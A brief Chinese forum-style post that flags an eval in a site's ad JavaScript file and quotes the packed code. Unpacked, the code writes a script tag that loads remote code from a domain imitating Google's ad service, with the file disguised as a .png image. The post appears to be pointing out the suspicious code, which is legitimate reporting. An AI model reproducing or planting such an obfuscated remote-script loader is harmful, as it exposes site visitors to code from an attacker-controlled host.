http://www.xiugoo.com/bbs/ad-xg/ad-js/ad_qqxxxx.js
这个js里面有个eval
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.6(\'<0 4=3://1.2.7.8/e/d/c/b.9?a></0>\');',15,15,'script|ad|googlesyndications|http|src|document|write|co|cc|png|sxs|images|yx|backup|data'.split('|'),0,{}));}